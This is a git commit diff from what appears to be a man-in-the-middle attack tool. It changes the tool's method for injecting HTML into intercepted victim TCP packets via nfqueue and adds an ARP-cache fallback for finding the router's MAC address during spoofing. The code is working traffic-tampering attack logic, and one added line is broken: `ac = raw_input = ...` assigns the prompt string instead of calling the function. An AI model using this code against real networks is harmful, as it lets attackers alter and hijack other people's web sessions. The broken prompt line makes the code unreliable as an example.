fixed arp caching bug and went back to a more reliable code injection technique

This commit is contained in:
DanMcInerney 2014-01-04 09:45:41 -05:00
parent 89005f41b8
commit 0c475c7314

View file

@ -323,7 +323,9 @@ class Parser():
del pkt[IP].chksum
del pkt[TCP].chksum
try:
payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt))
payload.set_verdict(nfqueue.NF_DROP)
send(pkt)
# payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt))
print R+'[!] Injected HTML into packet for '+W+self.html_url
logger.write('[!] Injected HTML into packet for '+self.html_url)
self.block_acks.append(ack)
@ -1036,6 +1038,8 @@ def main(args):
print "[*] Router MAC: " + routerMAC
logger.write("[*] Router MAC: "+routerMAC+'\n')
except Exception:
ac = raw_input = "[-] Router did not respond to ARP request for MAC, attempt to pull the MAC from the ARP cache? [y/n] "
if ac == 'y':
try:
print "[-] Router did not respond to ARP request for MAC, attempting to pull the MAC from the ARP cache"
arpcache = Popen(['/usr/sbin/arp', '-n'], stdout=PIPE, stderr=DN)
@ -1046,6 +1050,8 @@ def main(args):
logger.write("[*] Router MAC: "+routerMAC+'\n')
except Exception:
exit("[-] [arp -n] failed to give accurate router MAC address")
else:
sys.exit("[-] Could not get router MAC address")
if args.victimmac:
victimMAC = args.victimmac